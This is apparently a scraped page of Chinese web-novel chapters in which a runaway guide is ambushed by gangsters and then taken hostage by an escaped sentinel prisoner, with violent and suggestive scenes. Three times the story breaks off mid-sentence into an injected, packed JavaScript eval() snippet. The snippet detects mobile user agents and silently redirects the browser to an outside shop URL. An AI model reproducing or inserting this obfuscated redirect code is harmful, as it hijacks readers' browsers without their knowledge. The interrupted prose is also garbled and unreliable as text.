但温述为了避开监控,特意避开主干道区域,一头没入了下城区最黑暗的区域。 规划最短路线,离开中央白塔中心区域需要六小时,而抵达盘古塔区域还需要将近14小时,这还是在温述不考虑休息时间的情况下。 周边的光晕一点点变淡,棚户和住房也一点点减少,七拐八拐的小道被平直的硬化路面所取代。但这其实是一条废弃公路,公路早已被疯长的变异植物侵占,时不时出现塌方路面成了漆黑的深坑,温述放慢了速度小心行驶。 在大约三小时后,温述感觉体内抑制剂的药效在减弱,后颈的灼痛变得无比清晰。 他差点因为眼前出现的闪黑和耳边出现的凄惨哀嚎而失去对车头的控制,由于信息素失控,他的身体也出现了部分兽化,耳后腮边更是生出了洁白的羽毛,令他感到刺痛和瘙痒。 索性在抑制颈圈的作用下,失控始终没有出现,他远远看到了前方的废弃服务区,决定做一些修整。 但他刚刚接近服务区,就感到有些不对劲。 废弃已久的服务区,怎么会有光源? 机车刚刚驶近,温述就敏锐地发现前方掩藏在杂草堆里的破胎器。刺耳的刹车声传来,重击车车身旋转九十度,排气管金色的焰弧一甩,温述一脚蹬地,机车在距离破胎器不到二十公分的地方停了车。 刹那间,只听服务区里传出了此起彼伏的欢呼声和怪叫声。 约莫有十几个穿着奇装异服,造型奇异,要么梳着莫西干头,要么梳着脏辫,浑身镶满柳丁装饰的混混从服务站里冲出。 “妈的等了好几天,可算有肥羊宰了!” “看他这车不错,正好孝敬给爷爷了!” 极速光轮Z900重机车,搭载直列四缸发动机,支持混合能源燃料,何止是不错,李弥帮温述选机车的时候简直是太有眼光了。 “哎?你们看,他脖子上有颈圈,还是个变种人?” 为首的光头身材高大肌肉虬结,脸上纹着齿轮和骷髅头,温述定睛一看发现他居然是个B级哨兵。 光头笑着咧出一口金牙,对温述垂涎道:“何止是变种人呐!这TM 分明是个向导!” 他此言一出,身后的混混又是一阵怪叫。 温述干净利落地后旋腿下了车,这个动作将他的双腿线条拉得笔直修长。他此时受腺体的伤势所扰,只感觉无比烦躁,根本没听他们鬼吼鬼叫了什么,双手抱着头盔拔起,不耐地甩了甩头发。 光头看到这一幕,更加躁动了。虽然抑制项圈隔绝了大部分信息素,但是哨兵还是能闻到在夜空中浮动的清浅茶香,这香气纯净又柔软,显然属于年轻且未缔结过深度契约的向导,并且他极有可能正属于信息素失控状态。 向导的两腮和耳后生出的白色羽毛佐证了这个事实,那抹白如同夜色中静静绽放的山茶花,轻灵如精灵的羽翼,脆弱颓靡之态狠狠挑逗着任何一个哨兵的神经。 他很自信,只要自己稍微释放信息素,就能勾起这个向导的结合热。 温述看见光头哨兵朝自己走来,他身上虬结的肌肉上印着大片大片的刺青,都是夸张的朋克风格,他肌肉发达的前胸上挂着一个狮头吊坠。而温述一转头,看见光头哨兵的精神体狮子出现在自己右侧,摆出狩猎的姿势,似乎只要自己一个走神,就会被这头猛兽扑倒。 “小妞儿,跟我们玩一玩啊?” 温述嗅到了一股浓烈的鱼腥味,他意识到这是眼前这个哨兵的信息素时,更是深深地蹙眉。诚然他当下浑身酥软,燥热无比,格外需要哨兵的抚慰,但是不妨碍他一闻到这个气味就难受作呕。 光头哨兵张开双臂,朝温述挨近,温述反手掏出一柄格.洛克G17抵住了哨兵的脑袋。 “小妞脾气还挺辣”,但光头哨兵一看手.枪型号,一愣,瞬间警惕起来,“你是条子?” 温述也意识到自己武器上的破绽,一脚踹上哨兵的膝盖,先发制人。 然而出乎他的意料,哨兵如铁塔般纹丝不动,自己一脚毫无威慑力。他这才想起自己将等级压制到了E级,而E级的向导,身体素质连普通人都不如。 光头哨兵被温述的反击激怒,劈手夺枪,一脚将温述踹跪下,用枪指着温述的头。 温述还未能适应自己身体的变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223125|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化,毫无反抗之力,手瞬间就扣上了自己的颈圈,思考自己是否应该在此时解除压制。 光头举着枪,磔磔发笑,“管你是条子还是什么人,只要能让老子爽爽就行。” 他挑起温述的下巴,视线在温述的脸上逡巡,发现这个向导虽然姿色平平,但双眼却长得漂亮,一双黑眼睛如晶洞一般,双唇也是柔软饱满,可算是捡到宝了。温述扣住颈圈的动作更是提醒了他,“呦,带颈圈的劣等向导就应该好好待在家里,大晚上跑到这里不是勾引老子吗?” 光头一双粗粝的大手向温述的后颈摸去,意图亵玩那本就脆弱的腺体,他隐隐看见颈圈下的白色,“尼玛还受伤了?还是说早被人玩过了?” 温述五指用力,他已经忍不住了。 光头愈看眼前这个向导的双眼愈发觉得火大,明明受制于人,但这名向导眼中没有丝毫畏惧恐慌的情绪,平静如古井一般,不起丝毫波澜,似乎没把自己放在眼里。 “格老子的……” 砰—— 只听一声枪响,光头的眉心出现了一颗血洞,他双眼中残存震惊和愕然,似乎还不明白这一切是怎么发生的。 轰一声,他小山般的身躯就在温述面前倒下了。 B级哨兵的身体强度不能防子弹,他死得倒也痛快。紧接着,温述瞪大眼睛,看见数枚燃烧.瓶从服务区的方向抛出,瞬间就点燃了几名小混混的身体。 开枪的可不是温述。 “谁!给老子滚出来!”立马有人反击持枪扫射。 温述团身一滚,躲在机车后面观察情况。 “我看你们把这些东西藏在这里,就先用了。”这声音浑厚、低沉,每一句都震着人的耳膜,在这些小混混耳中,无异于恶魔的低语。 狙击枪连射的弹壳乱飞,但显然没有给藏身在暗处的人带来丝毫威胁。 在燃烧.瓶的火光之中,温述看见一只黄金巨狮踏火走出。他首先想到了刚才光头哨兵的那只狮子精神体,但显然这只黄金狮子比那一只更大、更威武,体长可达6米,踏火而来宛如王者降临。 小混混看到这怪物,全都吓得屁滚尿流,但黄金狮没有给他们逃跑的机会,一爪扇飞一个,一尾巴扫飞一个,又一口咬死一个,死相要么是胸骨凹陷,要么脑袋分家,尸体几乎没有个完整的。 温述现在精神力不强,对哨兵的等级只能靠猜,而这一个——S级,绝对S级!甚至是…… 战略级。 由于个别变种人过于强大,断崖式将所有人甩在身后,东部联合塔在S级之上划分了一个等级——战略级,每个联合塔战略级的变种人一只手就可以数过来。而战略级的评判标准也很简单粗暴——这个人是否强大到,足以改变整个世界的格局。 但战略级太过罕见,不可能转角就遇见爱,温述首先pass掉了这个可能。 当那袭击者从火光中走出后,温述更加否定这个可能。 来人身材格外高大,也许是因为他身上那件破破烂烂且格外宽大的长大衣衬托的,再加上温述是俯视视角,直观感受来人能有两米高。他一头乱蓬蓬的红发久未打理,打成绺结成团,已经垂到腰际,一脸炸开的络腮胡让温述完全看不清他到底长什么样。 若是没有之前那一幕,温述只会把他当成一个流浪汉。 流浪汉手里提着一瓶从服务区顺来的酒,趁温述和光头哨兵对峙时,已经饱饮一顿了。他摇摇晃晃向温述走来,还打了个酒嗝,向温述招了招手,“妞儿,我搭个便车。” 15. 逃犯 温述从车后站起来,打量着面前这个“流浪汉”,浑身的肌肉都随之紧绷起来。 如此强大的哨兵不可能变成个流浪汉,“塔”也不可能放任他不受约束,每一个变种人从分化开始,就都要受到“塔”的严密监控。 更何况,这里还算是中央白塔辖区,就算这些混混罪有应得,也没有人会以如此残忍的方式杀了所有人,更何况竟能表现得像什么都没有发生过,未免细思极恐。 他不是防卫,不是反击,也不是要救温述,就是单纯地想要杀人。 温述开口询问:“你要去哪里?我们可能不太顺路。” “流浪汉”又灌了一口酒,摇摇晃晃指向前方,“你都走这条道了,我们肯定顺路。你载我……报答我。” 温述注意到他虽然说着一口流利的普通话,但吐字间还是掺杂着口音,在说长句时变得尤为明显,某些咬字上,也显得很生涩。温述心里隐隐有了点猜测,但此时还不能表露出来。 他决定不要打草惊蛇,先同意“流浪汉”的请求。 之前被光头哨兵认出的枪是个破绽,于是温述把自己的配枪扔进火里烧了,又零元购了尸体上的装备,最后决定带走两把防御者动能轻机枪,一把L-36电磁枪,数枚手榴弹,和一根电磁鞭。 他做这些的同时,流浪汉在旁边看着,没有要来分一杯羹的意思。 温述跨上机车,回头对“流浪汉”说:“好,不过我只能搭你一程,出了中央白塔辖区你要下车。” “好……好!”“流浪汉”反手把酒瓶扔了,哗啦一声玻璃瓶碎裂酒液四溅。“流浪汉”靠近温述时,温述能嗅到一股浓烈的酒气。 温述皱了皱鼻子,“还有,路上你一口酒也不能喝。” “美妞儿,你人真不错。” 机车如离弦之箭窜了出去,“流浪汉”惊呼一声,因为惯性后仰,双手像扑棱蛾子似的挥动了两下,又凭借强悍的核心稳定住了自己。 温述向后吼:“你真是醉得够呛,连我是男是女都分不清吗?!” “流浪汉”大笑,“生气了?那我以后不叫你‘妞儿’,你总得告诉我你的名字吧?” 温述继续加速,在这种速度下,他们只有大吼才能听清对方说话。 “白九!” “我叫哈桑!” 导航计算还有三小时的车程,才能离开中央白塔辖区,温述仍觉得太慢,干脆在废弃公路上飙起了车。 明亮的车灯照亮了一大片一大片公路,猛烈的风让哈桑的大胡子和头发糊了一脸,到最后他也不能只扶着车座了,目光落在了身前向导的腰上。 “白,你看着秀气得像小姑娘,怎么开车这么疯啊?” 小姑娘?和哈桑相比,的确大部分人都秀气得像小姑娘。 温述注视着前方公路,注意力全集中在分辨前方哪里是路,哪里是坑上,“我只说搭你一程,没说要回你的话吧?” 趁温述不注意,哈桑自然而然地将手放在了温述的腰上,他只感觉掌心柔韧的腰腹一跳,温热的触感自掌心蔓延。 温述刚才忘记给自己注射抑制剂了,他腰腹敏感,此时被哈桑粗糙滚烫的大手一碰,他只感觉腰眼一麻,手上一抖,龙头一歪,差点连人带车翻了过去。 哈桑以为是温述恼羞成怒警告他,为了保持平衡,更是双手死死搂住温述的腰,整个人都贴在了温述后背上。 温述倒吸一口气,有种想把人踹下车的冲动。他现在格外渴求哨兵的安抚,以及肌肤相亲的触感,偏偏哈桑就来了这么一下。 哈桑体格高大,几乎能用下巴抵住温述的头,此时他坐在后座抱着温述,能将温述整个人都圈进怀里。乍一看上去甚至有点喜感,总觉得他们坐错了位置,一般来讲后座的才是小鸟依人的那个。 “白,我晕车你开慢点!” 温述不愿意在一个危险的陌生哨兵面前展现自己的糟糕的身体状况,只能强忍住不适,一声不吭地开车。 亏了哈桑的福,温述一路火花带闪电,硬生生把三小时的路程开成了两小时, 眼前终于出现了人造光源,只是远比不了白银区的霓虹绚烂。温述先骑行绕过了一座海拔近百米的垃圾山,才看见一座贫瘠的小镇。温述将车开入加油站,顺便注射抑制剂,再吃些东西补给能量。 这镇上没有石泪金能源,车子一停靠,就有型号老旧的机器人挪动滚轮,拉着长长的输油管打开油盖往车里灌汽油。 哈桑一下车就嚷嚷着热,把身上那件长大衣脱下了,只穿着里面的一件工装背心,胸肌将背心撑得鼓鼓囊囊的。 这地方由于阳伞效应压根没有太阳光直射,温述甚至要裹紧外套抗冻,但哨兵天生体温高,不觉得冷反而冒汗。 温述被吸引看了一看,除了看到哈桑被汗打湿而显得油亮的皮肤,余光还捕捉到他锁骨上方的一小串纹身。 【CW0017866】 这一刻,温述整个人都麻了。 就连他往嘴里送营养膏的动作都停下了。 玛德,这人踏马是个逃犯! 他锁骨上的纹身,分明是囚犯编号! CW代表中央白塔,001是监狱编号,如果温述没有记错,这座监狱号称只关押穷凶极恶的重刑犯。 尽管哈桑有意伪装,又一身邋遢,但温述仍能看出他身上的训练痕迹,比如走路的走姿,手臂摆动的幅度,下颌抬起的幅度,都有着军队严苛训练的痕迹。再加上他说话时的口音以及他赶路的方向,再结合近年来发生的历史事件。温述很快确认了,哈桑是来自南部联合塔的战俘! 括弧,越狱中! 要是正常刑满释放遣返,中央白塔恨不得亲自监督将人直接绑到南部联合塔的地盘上,怎么敢让他自己用两条腿走回去?! 自己这是才出虎口,又入狼穴啊!之前的小混混温述还有能力摆平,但面对这个哈桑,温述真是一点底气也没有。 温述狠嚼了最后一口营养膏,勉强平复下自己翻腾的心绪,强力控制着自己的喉咙的肌肉,让自己的声音不要发抖,“我就送你到这里了,我们大路朝天各走一边。再见,啊不……再也不见了。” 哈桑抱臂,前胸和手臂的肌肉被挤压得隆起,“白,你看上去很着急啊?” “我着急赶路。” “你不也是去南边吗?我们可以结伴。” 温述已经跨上自己的车子,点上了火:“我们之前约好了,只送你到这儿。” 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223126|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此时,温述突然感觉机车尾端一沉,差点将前轮翘了起来,他一回头,竟发现哈桑放出了精神体狮子。黄金狮前爪搭上了机车后座,甚至让车轮发出了不堪重负的咯吱声,它硕大的头颅拱着温述的脊背,让温述不住地往前蹿,前胸几乎贴在控制台上。 哈桑突然放沉了语气,“你这么紧张,不会……还有别的顾虑吧?” “怎么……会!” 黄金狮居然伸出带着倒刺的舌头,舔起了温述的头盔,温述甚至能清晰地听见倒刺摩擦塑料的声音和流水滴答滴答往下流的声音。 哈桑看到温述窘迫不堪的场景,笑得露出一口白牙,“我说,你是不是发现我是什么人了?” 温述本能摇头,但视线还是不可避免顺着哈桑手指的动作,落在了他手指的纹身位置。 狮子的鬃毛从头盔缝隙中钻入,搔痒着温述的脖子。 在某一个瞬间,温述还是挺希望自己下一秒就被白塔找到的。这起码意味着救兵来了,自己不用一个人面对死亡威胁了。 他一逃学学生,对比起逃犯,咖位还是低了点。 夜风呼呼地吹,加油站的机器人因为服役年限太高,接触不太灵敏。它呆滞地抬起摄像头,左右来回扫描两个男人,用陈旧的算法计算二者是否有打起来破坏加油站的可能性,红外线灯在它头顶不停闪烁。 哈桑陡然收起了笑容,眉弓压低,整张脸都藏在他乱发的阴影下,他用低沉可怖的声音质问温述,“我倒是感觉,你认得这东西呢?” …… 夜色是黏腻、浓稠、令人绝望的漆黑,空气中除了沙土和植物混合的独特气味,还掺杂了一股浓重到令人作呕的血腥味。 一双黑色军靴踩在了暗红的血泥之上,碾压出些许痕迹。 银发哨兵身着黑色工装背心和黑色工装裤,露出臂膀和胸膛结实的肌肉,外套被他随意搭在肩上,但双手却戴着全指战术手套。他的颈部系着一条黑色颈带,右侧镶嵌着一枚银色徽章,其上缠绕帆船的大章鱼分外显眼,而这只大章鱼的双眼,是用紫色水晶镶嵌的。 哨兵也有一对紫瞳,颜色甚至更纯粹更幽邃,比水晶更能吸引人的视线,犹如一窟紫水晶洞,望一眼就深陷其中。他的相貌极其英俊,五官如刀削斧凿,唯独一双狭长的眼,眼皮是慵懒地耷拉着的,覆盖了一些瞳孔,让他整个人显得无精打采,疏懒又厌世。 他看着面前一排死状各异的尸体,锁定了其中一名光头哨兵,他倒也不嫌脏,直接蹲在尸体旁边观察起尸体眉心的枪伤。 枪和子弹是这群混混自己的,从后方射入,贯穿型伤口。 他站起身,捡起不知从哪一边滚过来的头颅,拼在了一旁的无头尸上。 很好,完美契合。 他仔细打量着尸体的撕裂状伤口,几秒后拨打了一通电话,“你们浮空岛监狱是不是丢了个重刑犯?” 电话另一头立即一阵兵荒马乱。在得到谢安年的推断后,表示要立即彻查这件事。 等了大约十分钟,电话回拨过来了。 “是7866号,他是南部联合塔的战俘,危险等级评估达到SSS级,原本一直单独被关押在黑牢里。但现在被锁在束缚器里的是狱警,他已经越狱了!” 16. 帅哥你谁 温述逃出白塔不六小时,就被挟持了,这完全在他意料之外。 在哈桑问出那句话的那一刻,温述就十分识时务地举起了双手,“我什么都不知道,谁问我都不知道,你这么强我对你造不成威胁,你杀了我反而问题就大了。” 黄金狮的利齿抵上了温述的脖颈,薄薄皮肉下血肉的芬芳让它蠢蠢欲动,鼻翼翕动呼着浑浊的热气。 听到温述这句话,哈桑沉声问:“你到底是谁?” 温述回答:“你可以发挥想象力,尽情猜猜。你看我们都有秘密,完全可以互帮互助。” 哈桑上前一步,阴影将温述笼罩,他粗声道:“弱者没有谈条件的权利。” 前后夹击下,温述被迫从机车上下来,摘掉了头盔。他无奈地叹了一口气,“你要知道,我们东部联合塔向来爱好和平,你们这些野蛮人怎么总想着打打杀杀的。” 哈桑骂了一句温述听不懂的脏话,又用温述能听得懂的语言粗声粗气说:“去他妈的爱好和平。” 6米长的黄金狮利爪收紧,压低脊背,双目炯炯地盯着温述,危险低沉的低吼从喉咙中滚出。在夜色之中,整只狮子恍如一尊黄金雕塑,鬃毛和尾鬃仿佛燃烧着火焰,呈现出君临天下的王者气息。 温述被这压迫感冲击,心脏怦怦似乎要跳出体外。但在性命攸关之际,潜能被激发,他的大脑反而冷静下来。 如果哈桑真的要杀自己,那在服务区那里不就是最好的下手时机吗? 温述的目光转移到这头狮子身上,隐隐有了决断。哈桑越狱,为什么非得带着一个向导跑?对于一个穷凶极恶的囚犯来说,杀一个人远比留活口容易。 温述的指尖释放出点点金色光晕,他故意泄露出一点自己的信息素气味示好,向着黄金狮的方向勾了勾手。 “你干什么?!” 黄金狮先一步做出回应,它谨慎而警惕地朝温述靠近,用鼻尖一点点嗅着温述的指尖,确定温述手上的精神力没有丝毫攻击意味,空气中的信息素也十分温和,它才缓缓地收拢利爪,扬起头颅,高傲地在温述身前坐下。 如何抚摸一只大猫? 温述十分有经验。 由于大猫对你的气息还不熟悉,警惕性极高,所以你的手绝不能放在它的视觉盲区内,头顶和耳朵这类地方是万万不能摸的,一摸手就不用要了。 温述双手手掌向上,轻缓而坚定地托住了大猫的下巴,修长有力的五指完全陷入了蓬松而硬扎扎的鬃毛中,用上了些力气抓揉。大猫被摸得十分惬意,鼻腔里传出满意的呼噜声,进而将整颗头拱进温述怀里。 心知已经得到了黄金狮的信任,温述有些惊喜,他进而双手环抱住大猫的大脑袋,抓住了藏在鬃毛中的圆耳朵,在神经末梢最多、最敏感的耳朵尖上揉搓。 哈桑的喘息也粗重了以来,如投石入水,威士忌信息素的香气以他为源头,一层一层荡漾开来。浓烈、炽热、霸道,侵入了温述的鼻腔。温述下意识感觉不太妙,果不其然,他只感觉自己掌下的精神力在迅速流失,哈桑身上仿佛有个无底黑洞,疯狂地索取着那一丝丝黄金甘霖。 他现在对外可是个E级,哈桑是想把他榨干吗?E级调度精神力的速度完全跟不上哈桑榨取精神力的速度,没过多久温述就感觉自己的精神力输送越来越难以为继,甚至连精神力通道都感到干涩麻痒。 诚然,温述的精神力底蕴还是充足的,但温述还是果断地斩断了精神力链接,令这场恐怖的索取戛然而止。 狂吸信息素的黄金狮停下了摇头晃脑的动作,哈桑也不满地抬起头,“怎么停了?” 温述用手背擦了擦额头上的汗水,就势往后一躺,摔在地上,佯装气若游丝道:“我不行了……真的一点……一点精神力都没有了……” 温述还是硬生生地从哈桑那张脸上看到了一种名为窘迫的情绪。黄金狮凑上来,用湿漉漉的鼻头拱着温述的脸,试图让温述振作起来。 “我才E级,实在……实在实力不行……要不你另请高明?” 那只,哈桑果断拒绝,“不,就要你。你说还要梳理几次?” 温述心里吐槽,要是真把你治好了,我对你而言失去了利用价值,那你不得反手把我宰了? 他尽量地把这个数字往高报,“可能……二十……三十次不止?我的精神力池恢复还要三天……” 起码现在命保住了。 哈桑上前两步,像抱小孩似的轻而易举把温述单手抱了起来,不是那种很优雅很浪漫的公主抱,他就是以一个最省力最方便的姿势将温述托了起来。温述整个人“小鸟依人”地依在哈桑的胸膛上,整个人都惊了。 温述愈发感觉事情的发展不受自己控制,简直在错误的道路上狂飙突进,他不但要应对眼前混乱的情况,又要配合自己精神力池干涸的演出,干脆两眼一翻,装晕。 哈桑看着眼前小脸煞白、虚弱不堪的向导,有些焦躁地来回踱步几圈,他招来了黄金狮,将向导放在了狮子的脊背上。 庞大的狮子脊背平直,腰部微微凹陷,正好能将温述整个人稳稳当当地驮起。感受到身下炽热跳动的肌肉,温述吓了一大跳,差点发出声音。 从声音判断,哈桑捡起了地上的装备,哈桑背起了装备。 不错,还知道勤俭持家。 哈桑也上了狮背。 然后身下的坐骑动了起来,黄金狮一甩尾鬃,以风驰电掣的速度向前蹿去,将破旧的加油站甩在身后。 骑着精神体跑了几分钟,温述突然想起了一个至关重要的问题。 他的极速光轮Z900! …… 温述本就一夜未眠,安抚暴走哨兵又消耗了精神力,再加上一路逃亡,先后遇上混混劫道和哈桑的威胁,体内和精神都处于透支状态。他之前全凭一口气吊着,现在阶段性解除了危机,紧绷的一根弦终于松弛了下来。 他被哈桑扶正,靠在他厚实的胸肌上,鼻尖一直似有若无地萦绕着威士忌微醺的酒香,而哨兵的偏高的体温更让他感觉自己像被温泉包裹。他开始还竭力支撑自己不要睡过去,但在黄金狮有节奏颠簸的脊背好似婴儿的摇篮,催眠效果绝佳,温述到底没支撑住,在自己都不知道的情况下昏睡了过去。 不知过了多久,他被哈桑怼摇醒了。 他感受到刺眼的眼光照射在自己的眼皮上,下意识用手遮挡。稀有的阳光让他恍惚以为自己回到了圣所,只有那里有可调节亮度的人造太阳。 本能比理智更先感受到不正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223127|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温述强忍着双目的刺痛睁开眼睛,眼眶里瞬间分泌出一层泪水。 低沉浑厚的声音在他耳边响起,“小妞儿,该起床了。” 温述立即跳起来,推开身前的人,身前的壮汉纹丝不动,自己却因反作用力连连后退,脊背撞到了玻璃门,门没有锁,温述直接摔进门内。 哗啦哗啦的风铃声响起,前台的老板被惊醒,揉了揉眼睛说道:“欢迎光临。” 温述看着哈桑逆光的高大身影,混沌的脑子彻底清醒了。干燥的热浪让他的眼耳口鼻都又干又疼,温述知道自己已经到了盘古塔境内,并且已经朝着边境方向走了相当长的一段路,他哑着嗓子问:“这是哪里?” 哈桑回答:“盘古塔,塔依拉市。” 温述立马掉出终端看地图,看一眼定位就瞳孔地震,连声惊呼。 塔依拉是一个边境城市,他们居然骑着精神体狂奔八小时,自己眼一闭一睁,就横跨了整个盘古塔! 怪不得温述可以看见阳光,原来是因为边境城市工业基础差,没有经济实力建造石泪金反应炉,反而给了人们得见天日的机会。 但看这个日头,太阳已经西斜,为周围的一切景物镀上了一层暖色调,显然时间不早了。 “我睡了几个小时?” “八小时。” 还好,远比温述得知现在他身处何处带来的震撼小。起码在这八个小时里,他的体力和精神力都得到了极大恢复。 “那你叫醒我干什么?” 温述回头一看,发现他们正在一个破落小旅馆前。 旅馆没有牌匾,用几张小木板拼了个前台,横竖摆了两张弹簧裸露的旧沙发,哪怕如此简陋,沙发对面竟还装了台信号不良的小电视。 现在一楼没有人,只有前台后的老板守着。 哈桑猫着腰转进旅馆,他一进去,空间就显得局促起来。旅馆老板有些胆怯地打量着这个哨兵,“住宿?” 温述站起来拍自己身上的灰,正苦恼自己的兜帽和脖子里全是沙子,突然被哈桑戳了戳脊梁骨。 “付钱。” 温述指着自己,瞪大眼睛。半晌他憋屈地走向前台,“开两间标间。” 哈桑纠正,“一间。” 温述不解,“向导和哨兵共处一室合理吗?” 哈桑粗声粗气道:“你跑了我怎么办?” 谁强谁有理,温述主打一个能屈能伸,君子不立危墙之下,不和逃犯较劲,转头对老板说:“一间双人房。” 旅馆房间的条件十分恶劣,但当下谁也没心情计较这点。两个人刚提着行李进房间,哈桑就进卫生间洗澡了。 温述暗哂原来那流浪汉原来不是源于哈桑的独特审美。 趁着哈桑洗澡,他下楼向老板买了点饮用水,付款的时候还感慨了一句这里一瓶纯净水能赶上他三天饭钱。 纯净水不算冰凉,但灌进喉咙里时,仍让温述的五脏六腑都感受到了滋润。 温述不紧不慢地上三楼回房间,刷开房门推了进去。 一开门他吓了一跳,又退回去确认了一遍房间号,肯定自己没走错房间后才又进去。 他和房间里坐在床边的男人大眼瞪小眼,问道:“帅哥,你是不是走错房间了。” 17. 针锋相对 温述眨了眨自己干涩的双眼,反复确认自己没有看错。 夕阳的迂回透过落满灰尘的窗子照进房间里,令他视线所触及的一切都变得格外朦胧。天花板靠一根锈电线吊着的白炽灯危险地吊起,几块发霉的墙皮扑棱棱掉在那碎花布被子上。被子的颜色又硬又旧,颜色红绿搭配过于艳俗,而那高鼻深目,剃了个寸头的男人侧头看着自己。 温述这才看清他的双眼是金色的,落日熔金的颜色。 哈桑笑得露出一口整齐白牙,“怎么,不认识了?” 向导认人有两种方法,一是靠体貌特征,二是靠精神力感知,后者需要特别学习,但温述是会的。可就算如此,温述还是不敢认人。 大变活人了! 流浪汉变男模了! 温述看了他一眼,脸一点点染上薄红。哈桑估计只有那一套衣服,刚才洗澡估计全换下晾起来了,现在他坐在床边,全身上下不着寸缕。 “你……你把衣服穿上。” 哈桑摊开双手,表示自己没有多余的衣服。 温述进了还氤氲着水汽的浴室,发现里面浴巾浴衣一应没有,半天才找到一条毛巾,扔给哈桑示意他遮一遮。 那毛巾忒小,对哈桑而言胯都遮不住,只能遮一遮重点部位,但尽管如此,形状也十分清晰。半遮半掩,还不如不遮。 温述一阵无语,“要不然你还是躺被子里吧。” “现在室温37度。” “你面对一个向导暴露身体,就是耍流氓。” “你觉得我在乎吗?” 他都杀人了,还在乎耍流氓? 温述忍无可忍,冲下楼向老板要两条浴巾,回去扔给哈桑,“我现在要洗澡,你老实点。” 事实是,哈桑不可能老实,温述泡沫才冲到一半,哈桑就在外面鬼吼鬼叫,“你是小姑娘吗?搓澡搓这么久,都要搓秃噜皮了!” 温述向来以情绪稳定著称,此时竟然额头青筋暴起,回怼道:“你是猴子吗鬼叫什么?!” “呦~还害羞了。” 温述闭上双眼平复呼吸,就连那些圣所里幼稚的青春期哨兵都不会用这种方式调戏向导。 冷静,温述,你和他计较什么? 乘坐渡轮去往南部联合塔,找到那个名叫巴拉特的小镇,再打听打听里面有没有个黑发黑眼的外地女人有过一个叫白繇的儿子,将白繇学长的遗书送出去,自己的任务就达成了。 尽管他这样催眠自己,温述知道这样并不能说服自己。若是仅仅为了送一封遗书,温述也许不会离开白塔,究其原因,他是为了自己。 杨明弦曾将他十岁之前的记忆覆盖,让他不必回忆某些痛苦的过往。春晖大桥事件过后,温述原本的线性记忆变成了零散的片段式,这让他遗忘了一些东西,又想起了一些更遥远的回忆。 温述想起,自己小时候生活在一个矿业小镇上,镇上的每个人血液里都流淌铁臭和焦油的气息。那里仅仅驻扎着少量的哨兵和向导,而镇上的居民们将他们奉若神明一样尊敬。温述由叔叔婶婶抚养,叔叔婶婶更偏爱自己的亲生骨肉,对温述很不好。 温述从七岁开始下矿,在大人身后灰头土脸地捡碎煤块,甚至由于身材矮小,机器故障时,甚至还被拴着根绳子吊进工业烟囱里清理烟灰。这些记忆都过于久远,又被杨明弦有意模糊过,温述回忆这一切,只感觉在看别人的故事。 但这确实是他一生最开始的记忆。 他童年最深刻的记忆莫过于逃离家庭,被巡逻队带回白塔的那一晚。那时他刚刚分化,发着高烧,被惊恐的叔婶毒打一顿后关进橱柜里,他用尽最后力气砸碎窗户,逃出家门,躲进一处铁矿坑。 呼啸的狂风裹挟着纸灰余烬般的灰黑雪片,雪片淹没了他的口鼻,灰色覆盖了他的全身,渗透了他的皮肉、他的骨血、他的灵魂。他额头滚烫,四肢冰冷,喉舌腥甜,以为再也走不出那个幽深的矿坑,再也走不出那个大雪夜。充盈他视线,陪伴他在雪夜的,只有那些乌黑的、冰冷的、闪烁着幽微红色荧光的铁矿石。 被冻死前,巡逻队发现了他,并将他带回了中央白塔。 杨明弦教导他,一切污秽、一切罪孽都要被隔绝在塔外,人们倾尽一切资源维护着塔的绝对纯洁、绝对高贵、绝对正确,这里永远是田园牧歌的伊甸园。 李铭钺和一众贵族告诉他,他是高贵的向导,理应割舍一切肮脏的过往,宁可蒙上面纱永居高塔,也不可染上塔下的尘埃。 许多师长又教导他,他的灵魂属于白塔,他要为塔而生,为塔而死,成为戍守界碑英灵,就是至高无上的荣耀。 但现在的温述只想问 ——塔下的人呢? 千千万万个和年幼自己一样孱弱无助的普通人呢? 没有人为他们战斗吗? 若是当年自己没有分化为向导,矿区的巡逻队还会联合三个大区的警力,不遗余力地寻找自己吗? 自己或许,将永远走不出那个大雪夜…… 那个彻骨寒凉的大雪夜。 与李铭钺争吵时,他口不择言攻击自己的话也许没有错——自己哪怕成了S级,骨子里流淌的,还是属于下等人的血。 但上等和下等,又是谁给划分的呢?

